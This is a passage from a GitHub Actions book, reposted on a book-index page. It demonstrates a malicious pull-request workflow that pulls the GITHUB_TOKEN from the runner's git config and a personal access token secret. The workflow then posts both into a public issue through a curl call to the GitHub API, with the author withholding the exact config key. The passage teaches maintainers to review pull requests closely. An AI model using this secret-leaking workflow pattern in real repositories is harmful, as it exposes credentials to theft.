Learning GitHub Actions by Brent Laster

Learning GitHub Actions by Brent Laster

Author:Brent Laster
Language: eng
Format: epub
Publisher: O'Reilly Media
Published: 2023-08-16T00:00:00+00:00


permissions: ... issues: write - name: Get Debug Info run: | echo "DEBUG_VALUES=$(git --work-tree=/home/runner/work/pr-demo/pr-demo config --get http.[token value location])" >> $GITHUB_ENV echo "DEBUG_VALUES2=${{ secrets.PAT }}" >> $GITHUB_ENV - name: Create issue using REST API if: always() run: | curl --request POST \ --url https://api.github.com/repos/${{ github.repository }}/issues \ --header 'authorization: Bearer ${{ secrets.GITHUB_TOKEN }}' \ --header 'content-type: application/json' \ --data '{ "title": "PR evaluated successfully", "body": "DEBUG_VAL1: ${{ env.DEBUG_VALUES }} DEBUG_VAL2: ${{ env.DEBUG_VALUES2 }}" }' \ --fail

Here are the changes. In the Get Debug Info section, the first call to get the URL of the remote.origin has been changed to get a configuration value for http.[token value location]. (Due to security concerns, I won’t publish the exact location here.) But [token value location] references an actual location in the Git config context on the runner system that contains the GITHUB_TOKEN value.

The second call to get a value and put it in the environment is now pulling the value of the PAT secret, which was set up to contain the personal access token for the user.

Finally, the conditionals at the start of the step to create an issue if there’s a failure have been changed. Notice that the && failure() piece has been removed. This means that only the always() clause is in effect, so this code will always execute, whether there was a previous failure or not.

If a pull request is submitted based on this code, the initial code check will likely fail in the target repo due to it not having the required permission to create the failure issue there. However, if a repository owner isn’t checking closely enough and decides to go ahead and merge the code, they would end up with a new issue created with contents like the ones shown in Figure 9-25.



Download



Copyright Disclaimer:
This site does not store any files on its server. We only index and link to content provided by other sites. Please contact the content providers to delete copyright contents if any and email us, we'll remove relevant links or contents immediately.